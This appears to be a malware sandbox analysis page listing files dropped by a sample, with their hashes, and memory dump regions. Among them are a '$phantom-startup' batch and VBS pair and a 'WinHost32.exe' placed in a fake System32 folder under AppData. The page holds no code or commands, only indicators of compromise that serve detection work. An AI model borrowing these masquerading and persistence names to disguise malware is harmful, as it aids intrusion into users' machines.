81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
d06f82edec1d0a224ef3a83215ca4c32

SHA1
0ce1cc6ca9996f575ff93608d1bd7b689fb9aa94

SHA256
21538f0b88c8c199a1b496ce2873c735a22da06dd9535d61ff91bf7bbd066139

SHA512
461122d88caab59b20868470f72afed8dc401bb7e0ea50a925f640bce403ecfd277e56a8a64c503de04cfba718cd394b478f945b7770d10073276576b7529752

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
005bc2ef5a9d890fb2297be6a36f01c2

SHA1
0c52adee1316c54b0bfdc510c0963196e7ebb430

SHA256
342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

SHA512
f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_225qzh4e.mfn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_287.bat

Filesize
1.9MB

MD5
ca98faeecf7f69f417e6b8e706986b2e

SHA1
2ed0d04b476658f57e50b86dba53cdc0edb379e8

SHA256
69d3f18cd40fe951e863d6f7cb34f623ae1f169a030c166efd713630744b14da

SHA512
ad3a6e51492f68bf623b08d01d8d9cc9bc58a6496e04c734ddacd2be120987f56ff228bf24f92a67aff408d801a670cfbb83564907219523776b7a8263b41d64

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_287.vbs

Filesize
124B

MD5
545ad5c034568c0eae97f3fbd990566d

SHA1
2af2d878ccfec32bbd034694c9ce4a117f60d66f

SHA256
f556fb7e907de308bceee3d9a4e53cb2f1799adb0fecefdbee786d7994913678

SHA512
711454480257cf4a71df312bbccf3e9c742237f2a81536825ff9fdd780c7ff597209dabb677d6b8a8f269734222b44497cf956e5434fd55459985807c19a7dab

Download Submit
C:\Users\Admin\AppData\Roaming\System32\WinHost32.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
memory/684-105-0x00007FFC79990000-0x00007FFC799A0000-memory.dmp

Filesize
64KB

Download
memory/952-108-0x00007FFC79990000-0x00007FFC799A0000-memory.dmp

Filesize
64KB

Download
memory/1116-143-0x00000276603E0000-0x00000276606FE000-memory.dmp

Filesize
3.1MB

Download
memory/1144-99-0x00007FFC79990000-0x00007FFC799A0000-memory.dmp

Filesize
64KB

Download
memory/1232-98-0x00007FFC79990000-0x00007FFC799A0000-memory.dmp

Filesize
64KB

Download
memory/1304-103-0x00007FFC79990000-0x00007FFC799A0000-memory.dmp

Filesize
64KB

Download
memory/1312-104-0x00007FFC79990000-0x00007FFC799A0000-memory.dmp

Filesize
64KB

Download
memory/1512-101-0x00007FFC79990000-0x00007FFC799A0000-memory.dmp

Filesize
64KB

Download
memory/1656-106-0x00007FFC79990000-0x00007FFC799A0000-memory.dmp

Filesize
64KB

Download
memory/2188-107-0x00007FFC79990000-0x00007FFC799A0000-memory.dmp

Filesize
64KB

Download
memory/2328-100-0x00007FFC79990000-0x00007FFC799A0000-memory.dmp

Filesize
64KB

Download
memory/2640-102-0x00007FFC79990000-0x00007FFC799A0000-memory.dmp

Filesize
64KB

Download
memory/2684-112-0x00007FFC79990000-0x00007FFC799A0000-memory.dmp

Filesize
64KB

Download
memory/3064-113-0x00007FFC79990000-0x00007FFC799A0000-memory.dmp

Filesize
64KB

Download
memory/3092-111-0x00007FFC79990000-0x00007FFC799A0000-memory.dmp

Filesize
64KB

Download
memory/3412-114-0x00007FFC79990000-0x00007FFC799A0000-memory.dmp

Filesize
64KB

Download
memory/3480-51-0x0000000002580000-0x00000000025AA000-memory.dmp

Filesize
168KB

Download
memory/3480-97-0x00007FFC79990000-0x00007FFC799A0000-memory.dmp

Filesize
64KB

Download
memory/4492-110-0x00007FFC79990000-0x00007FFC799A0000-memory.dmp

Filesize
64KB

Download
memory/4708-0-0x00007FFC9B503000-0x00007FFC9B505000-memory.dmp

Filesize
8KB

Download
memory/4708-16-0x000001B872260000-0x000001B8723CA000-memory.dmp

Filesize
1.4MB

Download
memory/4708-12-0x00007FFC9B500000-0x00007FFC9BFC1000-memory.dmp

Filesize
10.8MB

Download
memory/4708-11-0x00007FFC9B500000-0x00007FFC9BFC1000-memory.dmp

Filesize
10.8MB

Download
memory/4708-15-0x000001B86FD30000-0x000001B86FD38000-memory.dmp

Filesize
32KB

Download
memory/4708-14-0x000001B8721E0000-0x000001B872256000-memory.dmp

Filesize
472KB

Download
memory/4708-50-0x00007FFC9B500000-0x00007FFC9BFC1000-memory.dmp

Filesize
10.8MB

Download
memory/4708-1-0x000001B86FCC0000-0x000001B86FCE2000-memory.dmp

Filesize
136KB

Download
memory/4708-13-0x000001B872190000-0x000001B8721D4000-memory.dmp

Filesize
272KB

Download
memory/4980-19-0x00007FFC9B500000-0x00007FFC9BFC1000-memory.dmp

Filesize
10.8MB

Download
memory/4980-18-0x00007FFC9B500000-0x00007FFC9BFC1000-memory.dmp

Filesize
10.8MB

Download
memory/4980-32-0x00007FFC9B500000-0x00007FFC9BFC1000-memory.dmp

Filesize
10.8MB

Download
memory/4980-25-0x00007FFC9B500000-0x00007FFC9BFC1000-memory.dmp

Filesize
10.8MB

Download
memory/5112-109-0x00007FFC79990000-0x00007FFC799A0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads